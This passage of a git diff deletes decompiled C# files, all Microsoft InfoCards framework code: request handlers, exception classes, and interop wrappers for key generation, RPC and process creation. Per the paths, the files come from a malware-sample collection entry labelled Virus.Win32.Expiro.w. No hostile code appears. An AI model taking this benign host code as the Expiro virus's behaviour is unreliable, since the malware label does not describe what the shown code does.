Microsoft.InfoCards.ListDependantCardsRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class ListDependantCardsRequest : UIAgentRequest - { - private Uri m_selfIssuedCardId; - private List m_allCards = new List(); - - public ListDependantCardsRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() => this.m_selfIssuedCardId = new Uri(Utility.DeserializeString((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode))); - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - IList dataRowList = (IList) connection.Query(QueryDetails.FullRow, connection.LocalDataSource, new QueryParameter("ix_supportauth", new object[1] - { - (object) 2 - })); - if (dataRowList == null || dataRowList.Count == 0) - return; - for (int index = 0; index < dataRowList.Count; ++index) - { - byte[] dataField = dataRowList[index].GetDataField(); - try - { - using (MemoryStream memoryStream = new MemoryStream(dataField)) - { - InfoCard infoCard = new InfoCard((Stream) memoryStream); - foreach (TokenCreationParameter creationParameter in infoCard.CreationParameters) - { - if (creationParameter.CredentialType == TokenFactoryCredentialType.SelfIssuedCredential && Utility.CompareByteArrays(Convert.FromBase64String(creationParameter.CredentialSelectors[CredentialSelectorType.SelfIssuedCardIdSelector].GetStringWithoutNullTerminator()), Utility.CreateHash(infoCard.IssuerIdentifierAsBytes, this.m_selfIssuedCardId))) - this.m_allCards.Add(infoCard); - } - } - } - finally - { - Array.Clear((Array) dataField, 0, dataField.Length); - } - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter writer = new BinaryWriter(this.OutArgs, Encoding.Unicode); - if (this.m_allCards != null) - { - writer.Write(this.m_allCards.Count); - foreach (InfoCard allCard in this.m_allCards) - Utility.SerializeUri(writer, allCard.Id); - } - else - writer.Write(0); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/LocalIdCollection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/LocalIdCollection.cs deleted file mode 100644 index ca516461..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/LocalIdCollection.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.LocalIdCollection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class LocalIdCollection - { - private SortedList m_inner; - - public LocalIdCollection() => this.m_inner = new SortedList(); - - public void Add(int item) - { - if (this.m_inner.ContainsKey(item)) - return; - this.m_inner.Add(item, item); - } - - public void Clear() => this.m_inner.Clear(); - - public int Count => this.m_inner.Count; - - public void Filter(LocalIdCollection itemsToKeep) - { - for (int index = this.m_inner.Count - 1; index >= 0; --index) - { - if (!itemsToKeep.m_inner.ContainsKey(this.m_inner.Keys[index])) - this.m_inner.RemoveAt(index); - } - } - - public IList Keys => this.m_inner.Keys; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/LogoValidationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/LogoValidationException.cs deleted file mode 100644 index c510f79a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/LogoValidationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.LogoValidationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class LogoValidationException : InfoCardBaseException - { - private const int HRESULT = -1073413879; - - public LogoValidationException() - : base(-1073413879) - { - } - - public LogoValidationException(string message) - : base(-1073413879, message) - { - } - - public LogoValidationException(string message, Exception inner) - : base(-1073413879, message, inner) - { - } - - protected LogoValidationException(SerializationInfo si, StreamingContext sc) - : base(-1073413879, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ManageRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ManageRequest.cs deleted file mode 100644 index 344f3849..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ManageRequest.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ManageRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class ManageRequest : ClientUIRequest - { - public ManageRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - InfoCardUIAgent uiAgent, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, uiAgent, rpcHandle, inArgs, outArgs, InfoCardUIAgent.CallMode.Manage, ExceptionList.AllNonFatal) - { - if (0L != inArgs.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceRequestBufferLengthInvalid"))); - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - try - { - this.StartAndWaitForUIAgent(); - } - catch (UserCancelledException ex) - { - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/MaxSessionCountExceededException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/MaxSessionCountExceededException.cs deleted file mode 100644 index 6cccd88a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/MaxSessionCountExceededException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.MaxSessionCountExceededException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class MaxSessionCountExceededException : InfoCardBaseException - { - private const int HRESULT = -1073413865; - - public MaxSessionCountExceededException() - : base(-1073413865) - { - } - - public MaxSessionCountExceededException(string message) - : base(-1073413865, message) - { - } - - public MaxSessionCountExceededException(string message, Exception inner) - : base(-1073413865, message, inner) - { - } - - protected MaxSessionCountExceededException(SerializationInfo si, StreamingContext sc) - : base(-1073413865, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/MergeConflictCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/MergeConflictCallback.cs deleted file mode 100644 index 907cabc7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/MergeConflictCallback.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.MergeConflictCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal delegate int MergeConflictCallback(DataRow local, DataRow incomingData); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/NativeMcppMethods.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/NativeMcppMethods.cs deleted file mode 100644 index 8d78a9d6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/NativeMcppMethods.cs +++ /dev/null @@ -1,1186 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.NativeMcppMethods -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using \u003CCppImplementationDetails\u003E; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security; -using System.Security.Cryptography; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class NativeMcppMethods - { - private NativeMcppMethods() - { - } - - public static unsafe byte[] X931KeyGenWrapper( - byte[] Xp1ByteArray, - byte[] Xp2ByteArray, - byte[] Xq1ByteArray, - byte[] Xq2ByteArray, - byte[] XpByteArray, - byte[] XqByteArray, - int publicExponent, - ref KeyGenRestartCodes restartCode) - { - byte* numPtr = (byte*) 0; - uint length1 = 0; - byte[] destination = (byte[]) null; - X931_restart_t x931RestartT = (X931_restart_t) 0; - int length2 = Xp1ByteArray.Length; - int length3 = XpByteArray.Length; - \u003CModule\u003E.AssertInternal(true, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EI\u0040FAPBOFLF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AA1\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 130, false); - \u003CModule\u003E.AssertInternal(length2 == Xp2ByteArray.Length, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EI\u0040BNBJOFNC\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AA2\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 131, false); - \u003CModule\u003E.AssertInternal(length2 == Xq1ByteArray.Length, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EI\u0040PPLFHHPC\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 132, false); - \u003CModule\u003E.AssertInternal(length2 == Xq2ByteArray.Length, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EI\u0040LCFNHHJF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AA2\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 133, false); - \u003CModule\u003E.AssertInternal(length3 == XpByteArray.Length, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EC\u0040PNPIPOFH\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 134, false); - \u003CModule\u003E.AssertInternal(length3 == XqByteArray.Length, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EC\u0040HAHAADLF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 135, false); - IntPtr num1 = IntPtr.Zero; - IntPtr num2 = IntPtr.Zero; - IntPtr num3 = IntPtr.Zero; - IntPtr num4 = IntPtr.Zero; - IntPtr num5 = IntPtr.Zero; - IntPtr num6 = IntPtr.Zero; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - num1 = Marshal.AllocHGlobal(length2); - num2 = Marshal.AllocHGlobal(length2); - num3 = Marshal.AllocHGlobal(length2); - num4 = Marshal.AllocHGlobal(length2); - num5 = Marshal.AllocHGlobal(length3); - num6 = Marshal.AllocHGlobal(length3); - Marshal.Copy(Xp1ByteArray, 0, num1, length2); - Marshal.Copy(Xp2ByteArray, 0, num2, length2); - Marshal.Copy(Xq1ByteArray, 0, num3, length2); - Marshal.Copy(Xq2ByteArray, 0, num4, length2); - Marshal.Copy(XpByteArray, 0, num5, length3); - Marshal.Copy(XqByteArray, 0, num6, length3); - int error = \u003CModule\u003E.InfoCardKeyGenX931((uint) length2, (byte*) num1.ToPointer(), (byte*) num2.ToPointer(), (byte*) num3.ToPointer(), (byte*) num4.ToPointer(), (uint) length3, (byte*) num5.ToPointer(), (byte*) num6.ToPointer(), (uint) publicExponent, &numPtr, &length1, &x931RestartT); - restartCode = (KeyGenRestartCodes) x931RestartT; - if (0 == error) - { - try - { - if (KeyGenRestartCodes.X931RestartNone == restartCode) - { - \u003CModule\u003E.AssertInternal(0U != length1, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1CE\u0040MDDMNBFC\u0040\u003F\u0024AA0\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024CB\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAc\u003F\u0024AAb\u003F\u0024AAC\u003F\u0024AAr\u003F\u0024AAy\u003F\u0024AAp\u003F\u0024AAt\u003F\u0024AAo\u003F\u0024AAB\u003F\u0024AAl\u003F\u0024AAo\u003F\u0024AAb\u003F\u0024AA\u003F\u0024AA\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 194, false); - destination = new byte[(int) length1]; - Marshal.Copy(new IntPtr((void*) numPtr), destination, 0, (int) length1); - } - else - \u003CModule\u003E.AssertInternal(0U == length1, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1CE\u0040EMPLJBMF\u0040\u003F\u0024AA0\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAc\u003F\u0024AAb\u003F\u0024AAC\u003F\u0024AAr\u003F\u0024AAy\u003F\u0024AAp\u003F\u0024AAt\u003F\u0024AAo\u003F\u0024AAB\u003F\u0024AAl\u003F\u0024AAo\u003F\u0024AAb\u003F\u0024AA\u003F\u0024AA\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 204, false); - } - finally - { - \u003CModule\u003E.InfoCardKeyGenZeroAndFree(numPtr, length1); - } - return destination; - } - \u003CModule\u003E.AssertInternal(0U == length1, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1CE\u0040EMPLJBMF\u0040\u003F\u0024AA0\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAc\u003F\u0024AAb\u003F\u0024AAC\u003F\u0024AAr\u003F\u0024AAy\u003F\u0024AAp\u003F\u0024AAt\u003F\u0024AAo\u003F\u0024AAB\u003F\u0024AAl\u003F\u0024AAo\u003F\u0024AAb\u003F\u0024AA\u003F\u0024AA\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 219, false); - throw new Win32Exception(error); - } - finally - { - if (IntPtr.Zero != num1) - { - uint num7 = (uint) length2; - sbyte* pointer = (sbyte*) num1.ToPointer(); - if (length2 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num7; - } - while (num7 != 0U); - } - Marshal.FreeHGlobal(num1); - } - if (IntPtr.Zero != num2) - { - uint num8 = (uint) length2; - sbyte* pointer = (sbyte*) num2.ToPointer(); - if (length2 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num8; - } - while (num8 != 0U); - } - Marshal.FreeHGlobal(num2); - } - if (IntPtr.Zero != num3) - { - uint num9 = (uint) length2; - sbyte* pointer = (sbyte*) num3.ToPointer(); - if (length2 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num9; - } - while (num9 != 0U); - } - Marshal.FreeHGlobal(num3); - } - if (IntPtr.Zero != num4) - { - uint num10 = (uint) length2; - sbyte* pointer = (sbyte*) num4.ToPointer(); - if (length2 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num10; - } - while (num10 != 0U); - } - Marshal.FreeHGlobal(num4); - } - if (IntPtr.Zero != num5) - { - uint num11 = (uint) length3; - sbyte* pointer = (sbyte*) num5.ToPointer(); - if (length3 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num11; - } - while (num11 != 0U); - } - Marshal.FreeHGlobal(num5); - } - if (IntPtr.Zero != num6) - { - uint num12 = (uint) length3; - sbyte* pointer = (sbyte*) num6.ToPointer(); - if (length3 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num12; - } - while (num12 != 0U); - } - Marshal.FreeHGlobal(num6); - } - } - } - - public static unsafe uint InfoCardStartRpcServerWrapper( - string uiAgentFullPath, - IntPtr rpcCallbacks) - { - IntPtr hglobal = IntPtr.Zero; - try - { - hglobal = Marshal.StringToHGlobalUni(uiAgentFullPath); - return \u003CModule\u003E.InfoCardStartRpcServer((ushort*) hglobal.ToPointer(), (_RPCCALLBACKS*) rpcCallbacks.ToPointer()); - } - finally - { - if (IntPtr.Zero != hglobal) - { - Marshal.FreeHGlobal(hglobal); - IntPtr zero = IntPtr.Zero; - } - } - } - - public static uint InfoCardStopRpcServerWrapper() => \u003CModule\u003E.InfoCardStopRpcServer(); - - public static uint AdjustPrivilegesWrapper([MarshalAs(UnmanagedType.U1)] bool isTabletPC) => \u003CModule\u003E.AdjustPrivileges(isTabletPC); - - public static unsafe uint CreateAndWaitForFileOpenDialogWrapper( - string arguments, - WindowsIdentity callerIdentity, - uint userProcessPid, - ref string fileName) - { - uint openDialogWrapper = 0; - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - try - { - hglobal1 = Marshal.StringToHGlobalUni(arguments); - hglobal2 = Marshal.StringToHGlobalUni(callerIdentity.Name); - \u0024ArrayType\u0024\u0024\u0024BY0BAE\u0040G arrayTypeBy0BaeG; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(short&) ref arrayTypeBy0BaeG = (short) 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((\u0024ArrayType\u0024\u0024\u0024BY0BAE\u0040G&) ((IntPtr) &arrayTypeBy0BaeG + 2), 0, 518); - IntPtr token = callerIdentity.Token; - openDialogWrapper = \u003CModule\u003E.CreateAndWaitForFileOpenDialog((ushort*) hglobal1.ToPointer(), token.ToPointer(), userProcessPid, (ushort*) hglobal2.ToPointer(), (ushort*) &arrayTypeBy0BaeG); - fileName = 0U != openDialogWrapper ? "" : new string((char*) &arrayTypeBy0BaeG); - } - finally - { - if (IntPtr.Zero != hglobal2) - { - Marshal.FreeHGlobal(hglobal2); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - } - return openDialogWrapper; - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool DnsNameCompareWrapper(string dnsName1, string dnsName2) - { - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - int num = 0; - try - { - hglobal1 = Marshal.StringToHGlobalUni(dnsName1); - hglobal2 = Marshal.StringToHGlobalUni(dnsName2); - num = \u003CModule\u003E.DnsNameCompare_W((ushort*) hglobal1.ToPointer(), (ushort*) hglobal2.ToPointer()); - } - finally - { - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal2) - { - Marshal.FreeHGlobal(hglobal2); - IntPtr zero = IntPtr.Zero; - } - } - return 0 != num; - } - - public static unsafe uint CreateProcessAsUserHelperWrapper( - string application, - string commandLine, - uint userProcessPid, - string desktop, - string userName, - ref int pid) - { - uint userHelperWrapper = 0; - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - IntPtr hglobal3 = IntPtr.Zero; - IntPtr hglobal4 = IntPtr.Zero; - void* voidPtr = (void*) 0; - try - { - hglobal1 = Marshal.StringToHGlobalUni(application); - hglobal2 = Marshal.StringToHGlobalUni(commandLine); - hglobal3 = Marshal.StringToHGlobalUni(desktop); - hglobal4 = Marshal.StringToHGlobalUni(userName); - uint num = 0; - userHelperWrapper = \u003CModule\u003E.CreateProcessAsUserHelper((ushort*) hglobal1.ToPointer(), (ushort*) hglobal2.ToPointer(), userProcessPid, (ushort*) hglobal3.ToPointer(), (ushort*) hglobal4.ToPointer(), &voidPtr, &num); - pid = (int) num; - } - finally - { - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal2) - { - Marshal.FreeHGlobal(hglobal2); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal3) - { - Marshal.FreeHGlobal(hglobal3); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal4) - { - Marshal.FreeHGlobal(hglobal4); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != (IntPtr) voidPtr) - \u003CModule\u003E.CloseHandle(voidPtr); - } - return userHelperWrapper; - } - - public static unsafe string GetLocalDataPath(WindowsIdentity identity) - { - \u0024ArrayType\u0024\u0024\u0024BY0BAE\u0040G arrayTypeBy0BaeG; - // ISSUE: initblk instruction - __memset(ref arrayTypeBy0BaeG, 0, 520); - int folderPathW = \u003CModule\u003E.SHGetFolderPathW((HWND__*) 0, 28, identity.Token.ToPointer(), 0U, (ushort*) &arrayTypeBy0BaeG); - if (folderPathW < 0) - throw new 